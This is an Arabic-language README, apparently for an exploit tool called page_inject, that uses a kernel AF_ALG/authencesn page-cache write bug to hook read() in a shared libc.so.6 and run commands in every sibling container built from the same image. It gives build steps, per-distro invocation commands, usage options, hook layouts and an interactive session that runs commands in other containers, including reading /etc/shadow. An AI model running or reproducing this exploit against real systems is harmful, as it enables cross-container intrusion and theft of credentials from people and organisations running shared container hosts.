
CVE-2026-31431-killed استغلال page-cache — تنفيذ كود داخل الحاويات التي تشترك في نفس طبقة الصورة
استغلال AF_ALG aead للهروب عبر الحاويات -- الانتقال من حاوية مخترَقة إلى كل حاوية شقيقة تتشارك طبقة الصورة libc.so.6 نفسها.
هذه بدائية هروب: تعمل من داخل حاوية غير مميَّزة سبق للمهاجم اختراقها، وتستغل خطأ الكتابة الاعتباطية لأربعة بايتات في تدوير ESN الخاص بـ authencesn في AF_ALG (CVE-2026-31431) لزرع خطاف read() دائم في صفحات مخبأ صفحات libc.so.6. ولأن Docker/containerd تُسنِد ملفات الطبقة السفلية في overlayfs إلى inodes مشتركة، فإن تلك الصفحات تكون مرئية لكل حاوية شقيقة أُنشئت من الصورة نفسها -- يشتعل الخطاف في عملياتها أيضًا، ويحصل المهاجم على تنفيذ أوامر داخل كل واحدة منها.
victim) على مضيف يشغّل حاويات أخرى (siblings) من نفس الصورة التي يعمل بها victim.victim بوضع Docker/k8s الافتراضي: uid غير مميَّز داخل مساحة أسماء المستخدمين للحاوية، وملف تعريف seccomp افتراضي، وملف تعريف AppArmor افتراضي، وبلا أي قدرات خاصة، وبلا تحميلات bind من المضيف.victim فقط:
/usr/lib/x86_64-linux-gnu/libc.so.6 أو أيًا كان المسار الذي تثبّته فيه التوزيعة)socket(AF_ALG, ...)splice / vmsplicechmod +x عليه (مثل /tmp)algif_aead + authencesn أقدم من إصلاح التراجع في upstream).هذا كل شيء. لا قدرات CAP_* خاصة، ولا وصول إلى نظام ملفات المضيف. يضع المهاجم ملفًا ثنائيًا مكتفيًا بذاته ومرتبطًا بشكل ثابت داخل الحاوية، ويشغّله، فيصبح إفساد مخبأ الصفحات -- وبالتالي الخطاف -- مرئيًا لكل حاوية شقيقة.
هوية صفحة مخبأ الصفحات. داخل حاوية overlayfs، يُقدَّم /usr/lib/.../libc.so.6 من inode ext4 الخاص بطبقة الصورة السفلية. كل حاوية أُطلقت من الصورة نفسها تتشارك ذلك الـ inode الداعم، ويكون مخبأ صفحات النواة مفتاحه هو الـ inode الأساسي -- لا overlay ولا مساحة الأسماء. لذا فإن كتابة واحدة من 4 بايتات داخل صفحة من مخبأ الصفحات تكون مرئية لعمليات جميع الحاويات الشقيقة التي لديها تلك الصفحة مُخطَّطة عبر mmap.
ثغرة AF_ALG aead تحوّل كتابة واحدة كهذه إلى كتابات كثيرة. يربط algif_aead بين iovec الخاص بمستخدم RX وبايتات authsize اللاحقة من SGL الخاص بـ TX المُوصَل عبر splice، ويودع تدوير ESN في authencesn 4 بايتات من حقل seq_high الخاص بـ AAD عند dst[assoclen + cryptlen] -- وهو أول بايت في ذلك الذيل الأجنبي المربوط. الصفحة المُوصَلة هي صفحة من مخبأ الصفحات لملف لا يملك المهاجم سوى وصول قراءة إليه، لكن الشفرة cipher تنسخ البايتات إليها على أي حال، دون أي تسجيل للصفحات كمعدَّلة (dirty). (انظر crypto/algif_aead.c و crypto/authencesn.c لفهم الآليات الكامنة.)
التمهيد لبدائية قابلة للاستدعاء. أول ما يفعله page_inject هو تمهيد المنطقة A -- إعادة تنفيذ مشفّرة بلغة التجميع لرقصة AF_ALG نفسها (write_cache.asm)، موضوعة داخل كهف الخاص بـ libc. وهذا يجعل كتابة الـ 4 بايتات استدعاء عاديًا من داخل أي حمولة خطاف مستقبلية، دون الحاجة إلى إعداد socket عند كل استدعاء.
يُبنى الحاقن خارج حاوية الضحية -- عادةً على جهاز التطوير الخاص بالمهاجم -- لأن معظم صور الحاويات الإنتاجية لا تتضمن مترجمًا. تكفي بيئة تطوير Linux x86_64 قياسية مع gcc (بدعم الربط -static) وnasm.
make # assembles .asm sources via gen_arrays.sh, links static page_inject
make shellcode # also produces inspectable .bin flat binaries
make clean # removes generated files and the binary
الناتج هو ملف ELF واحد مرتبط بشكل ثابت (./page_inject) يعمل على أي نواة Linux حديثة بمعمارية x86_64.
بمجرد حصول المهاجم على shell على victim، يرفع الملف الثنائي إلى دليل قابل للكتابة (عادةً /tmp):
# inside the compromised container, attacker session
victim$ ./page_inject
عند عدم تمرير أي وسائط، يعتمد page_inject على المسار الافتراضي /usr/lib/x86_64-linux-gnu/libc.so.6 (موقع Debian/Ubuntu بعد دمج /usr). أما في التوزيعات الأخرى فموضع libc مختلف؛ إمّا أن تمرّره صراحةً أو تستخدم --root / لمسح جدول البحث المدمج انطلاقًا من جذر الحاوية:
# Fedora / Rocky / CentOS
victim$ ./page_inject /usr/lib64/libc.so.6
# Arch
victim$ ./page_inject /usr/lib/libc.so.6
# Auto-detect, regardless of distro:
victim$ ./page_inject --root /
أيٌّ من الاستدعاءين يفعل الأمر نفسه: تحليل libc داخل الحاوية بصيغة ELF، وتثبيت الخطاف في مخبأ صفحاتها، ومراقبة جدول الخانات لنحو 30 ثانية بينما تسجّل الحاويات الشقيقة، وتنفيذ id لمرة واحدة على أول حاوية شقيقة سجّلت بوصفه فحص سلامة.
بعد التمهيد، ادخل إلى صدفة الأوامر للتحكم في أي حاوية شقيقة مسجَّلة:
victim$ ./page_inject --shell --no-bootstrap
=== page-cache shell ===
Containers (3):
[0] 0x0018598d <- target
[1] 0x001859ab
[2] 0x001859cd
inject:0018598d> exec id
uid=0(root) gid=0(root) groups=0(root)
inject:0018598d> target 0x001859ab
inject:001859ab> exec hostname
1ccd66abee9d
inject:001859ab> exec cat /etc/shadow
root:$6$.....
inject:001859ab> unhook
... read() prologue restored, slot table zeroed ...
يزيل unhook الخطاف من كل حاوية شقيقة دفعة واحدة ويتيح لعمليات الخطاف الفرعية إنهاء نفسها.
Usage: page_inject [OPTIONS] [LIBC_PATH]
Options:
--root <prefix> Auto-resolve libc.so.6 under <prefix> using the
built-in fixed-path lookup table. Inside the
victim container that's normally --root / .
--shell [0xKEY] Drop into interactive command shell after
injection. Optional KEY pre-selects the target.
--no-bootstrap Skip injection (shell-only; hook must already
be live in the page cache).
--timeout SEC Slot monitoring timeout in --shell mode
(default 30 s).
--help, -h Show help.
Default libc (when no --root and no LIBC_PATH given):
/usr/lib/x86_64-linux-gnu/libc.so.6
تترك بنيات glibc المختلفة مقادير متباينة من مساحة كهف .text بين مقطع LOAD القابل للتنفيذ ومقطع LOAD التالي للقراءة فقط. يختار page_inject بين تخطيطين عند وقت الحقن:
المسار A -- libc فقط (افتراضي). تعيش كلٌّ من المنطقة C والمنطقة A في كهف .text الخاص بـ libc. وتعيش مناطق جدول الخانات + CMD + OUTPUT في قسم .hash الخاص بـ libc -- بيانات تجزئة SysV القديمة التي لا يقرؤها ld.so وقت التشغيل لأنه يستخدم .gnu.hash بدلًا منها. عندما يكون .hash غائبًا (سلسلة أدوات Arch الحديثة)، ينحت page_inject نطاق الخانات من ذيل .eh_frame_hdr بدلًا من ذلك، بعد أن يقلّص أولًا حقل fde_count بحيث لا يعود unwinder يعتبر البايتات المحرَّرة جزءًا من فهرس البحث الثنائي لـ FDE (يسقط unwinder بشفافية إلى مسح خطّي لـ .eh_frame لأي IP كانت FDE الخاص به ضمن النطاق المبتور -- سلوك تفرضه LSB).
المسار B -- قفزة libc العابرة + حمولة ld.so. تصغّر بعض بنيات glibc كهف libc إلى ما دون الحجم المطلوب لحمولة المنطقة C + المنطقة A الكاملة (تأتي Ubuntu 24.04 / glibc 2.39 بكهف حجمه 711 بايتًا). في هذه الحالة يكتب page_inject قفزة عابرة (trampoline) بحجم 36 بايتًا في كهف libc -- وهي تؤدي بوابة مفتاح .bss الخاصة بالمسار السريع داخل libc ذاتها -- وفي المسار البطيء تحسب العنوان الأساسي لـ ld.so وقت التشغيل من خانة GOT في libc الخاصة بالرمز _rtld_global (رمز من جانب ld.so تستورده كل glibc بشكل خاص) وتقفز إلى نسخة من المنطقة C تعتمد سجل العنوان الأساسي في كهف الخاص بـ . تبقى مناطق جدول الخانات + CMD + OUTPUT + مفتاح كلها في libc؛ وتصل إليها المنطقة C من جانب ld.so عبر بعد أن تهيّئ القفزة العابرة .
إذا لم يناسب أيٌّ من التخطيطين، يرفض page_inject رفضًا نظيفًا دون أن يكتب أي شيء إلى libc أو ld.so سواء على القرص أو في مخبأ الصفحات.
read()تُصدر إصدارات glibc المختلفة تسلسلات افتتاحية مختلفة في read(). يتعرّف الحاقن على كل واحدة منها، ويعيد قراءة البايتات التي يزيحها الخطاف، ويحاكيها في المسار السريع للمنطقة C بحيث يستأنف read() أحادي الخيط عمله بشكل صحيح عند read+N:
خانة المحاكاة في المسار السريع للمنطقة C مصمَّمة بحجم أطول مقدمة معروفة (8 بايتات) بالإضافة إلى قفزة rel32 ذات الخمسة بايتات؛ أما المقدمات الأقصر فتملأ البايت الأخير من الخانة بحشو NOP ليظل الطول الكلي للخانة ثابتًا.
page_inject/
page_inject.c Main injector: ELF parsing, vuln primitive,
dual-path layout selection, inject + unhook.
zone_c.asm Path-A hook dispatcher shellcode.
zone_c_ld.asm Path-B hook dispatcher (rbp-base variant).
trampoline.asm Path-B 36-byte libc-side stub.
write_cache.asm Zone A (vuln write primitive shellcode).
gen_arrays.sh Assemble .asm -> asm_bytecode.c.
asm_bytecode.c [generated] shellcode byte arrays.
Makefile Build system.
تم التحقق من الاستغلال من البداية إلى النهاية على توزيعات الحاويات التالية. في كل إدخال، حُقن page_inject من داخل حاوية واحدة ورُصد إطلاق خطافه في حاوية شقيقة أُطلقت من الصورة نفسها؛ ونُفذت الأوامر بشكل صحيح عبر قناة مخبأ الصفحات؛ وأعاد unhook حالة صفحات libc إلى نظافتها.
page_inject مرتبط بشكل ثابت عن قصد بحيث لا تتأثر عملية المهاجم نفسها بالخطاف الذي يثبّته.page_inject على libc "المُخطَّفة بالفعل" (أي E9 + nops عند مقدمة read()) ويرفض إعادة الحقن. إذا كنت في بيئة اختبار وكان مخبأ صفحاتك عالقًا في تلك الحالة، أوقف كل الحاويات التي تستخدم الصورة ونفّذ drop_caches لإعادة التعيين..textcallتثبيت الخطاف. يكتب الحاقن بعد ذلك المنطقة C (zone_c.asm) داخل كهف .text في libc، ويُرقِّع أول 7-12 بايتًا من read() بقفزة E9 disp32 إليها. تُحاكى البايتات المُزاحة من المقدمة بأمانة في المسار السريع للمنطقة C (يتم التعرّف على ثلاث مقدمات مختلفة من glibc -- انظر "معالجة المقدمة" أدناه). أصبح الخطاف الآن نشطًا في مخبأ صفحات libc.
انتشار الخطاف. كل حاوية شقيقة تشغّل عمليات تستدعي read() باستمرار (خفيّات التسجيل، فحوصات الصحة، cat /etc/hostname، أي شيء). عند أول استدعاء من هذا القبيل داخل حاوية شقيقة، تقفز المقدمة المختطفة إلى المنطقة C، التي:
stat("/") على inode جذر الحاوية (معرّف مستقر لكل مساحة أسماء) وتستخدمه كمفتاح لخانة الحاوية،fork() عملية فرعية لحلقة أوامر طويلة العمر تستقصي منطقة CMD عن الأوامر،read()+N فلا يدري المتصل شيئًا.
تبقى عملية الحاوية الشقيقة الأصلية مستمرة. ومن هذه اللحظة يملك المهاجم خفيّة (daemon) داخل تلك الحاوية.قناة الأوامر. يستخدم المهاجم ملف page_inject نفسه في وضع --shell لكتابة الأوامر في منطقة CMD داخل نطاق الخانات. تستقصي عملية الخطاف الفرعية في كل حاوية شقيقة مسجَّلة، وتُنشئ عبر fork() عملية /bin/sh -c <cmd>، وتلتقط stdout/stderr في منطقة OUTPUT، وتشير إلى الاكتمال، ثم تعود إلى الاستقصاء. تعرض الصدفة الناتج. ولأن كل كتابة إلى CMD/OUTPUT تمر أيضًا عبر بدائية الثغرة، فلا حاجة إلى أي امتياز خاص.
إزالة الخطاف. عند الانتهاء، يستعيد unhook بايتات مقدمة read() الأصلية ويصفّر جدول الخانات؛ فترى عمليات الخطاف الفرعية خانة فارغة في تكرارها التالي وتُنهي نفسها. تعديلات مخبأ الصفحات نفسها نظيفة (إذ لم تُعلِم النواة الصفحات المعدَّلة كـ dirty أبدًا)، لذا ما إن تتوقف كل حاوية لديها libc مُخطَّط عبر mmap حتى يعيد drop_caches المخبأ بالكامل -- دون أن يبقى أي أثر على القرص.
.text.bssrbp + offsetrbp = libc_base| نطاق glibc | المقدمة (بعد endbr64 الاختياري) | ملاحظات |
|---|
| 2.36 / 2.39 | cmpb $0x0, __libc_single_threaded(%rip) | 7 بايتات؛ cmpb المُحاكى يضبط ZF من أجل jne .Lthreaded الأصلية. |
| 2.43 | push rbp; movsxd rdi,edi; xor r9d,r9d | 7 بايتات؛ محاكاة بايت ببايت. |
| 2.31 / 2.35 | mov eax, fs:[0x18] | 8 بايتات؛ محاكاة بايت ببايت ([disp32] المسبوق بـ FS مطلق وليس نسبيًا إلى RIP، لذا فالنسخ البايتي أمين). |
| الصورة | glibc | مسار الحقن | مقدمة read() | نطاق الخانة |
|---|
debian:bookworm | 2.36 | A | cmpb | .hash |
ubuntu:24.04 | 2.39 | B | cmpb | .hash (من جانب libc، يُعنوَن عبر rbp من ld.so) |
ubuntu:22.04 | 2.35 | A | TLS-fs | .hash |
fedora:40 | 2.39 | A | cmpb | .hash |
archlinux:latest | 2.43 | A | push-rbp | .eh_frame_hdr (ذيل مبتور) |